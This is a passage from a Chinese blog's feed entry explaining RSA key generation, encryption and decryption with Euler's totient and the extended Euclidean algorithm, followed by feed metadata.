title="生成密钥"></a>生成密钥</h3><p>取两个大质数<code>p,q</code>，并计算他们的乘积<code>n</code>，一般要求<code>n</code>换算成二进制要大于2048位</p><p>则根据欧拉定理满足以下条件（欧拉函数）：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801172139842.png" alt loading="lazy"></p><p>计算<code>n</code>的欧拉函数值</p><p>选择一个数<code>e</code>使得<code>e</code>与<code>n</code>的欧拉函数值互质，一般选择65537</p><p>计算<code>e</code>相对<code>n</code>的欧拉函数值的模反元素<code>d</code>，因为<code>e</code>与<code>n</code>的欧拉函数值互质，则根据模反元素的性质</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801172706077.png" alt loading="lazy"></p><p>根据扩展欧几里得算法，通过迭代求解即可解出<code>d</code>，随后即生成公钥<code>(e,N)</code>，私钥<code>(d,N)</code></p><h3 id="加解密的实现"><a href="#加解密的实现" class="headerlink" title="加解密的实现"></a>加解密的实现</h3><p>加密：</p><p><code>m</code>为要加密的信息，<code>(e,n)</code>组合起来为公钥，<code>c</code>和<code>k</code>分别为常数</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801211116338.png" alt loading="lazy"></p><p>解密：</p><p><code>m</code>为要解密的信息，<code>(d,n)</code>组合起来为私钥，<code>c</code>和<code>k</code>分别为常数</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801211144409.png" alt loading="lazy"></p><p>两个公式可相互推导</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;数论知识&quot;&gt;&lt;a href=&quot;#数论知识&quot; class=&quot;headerlink&quot; title=&quot;数论知识&quot;&gt;&lt;/a&gt;数论知识&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;互质&lt;/strong&gt;：如果两个正整数，除了 1 以外没有其他的公因数，则他们互质。比如，
      
    
    </summary>
    
    
      <category term="算法" scheme="https://www.extrader.top/categories/%E7%AE%97%E6%B3%95/"/>
    
    
      <category term="算法" scheme="https://www.extrader.top/tags/%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
</feed>
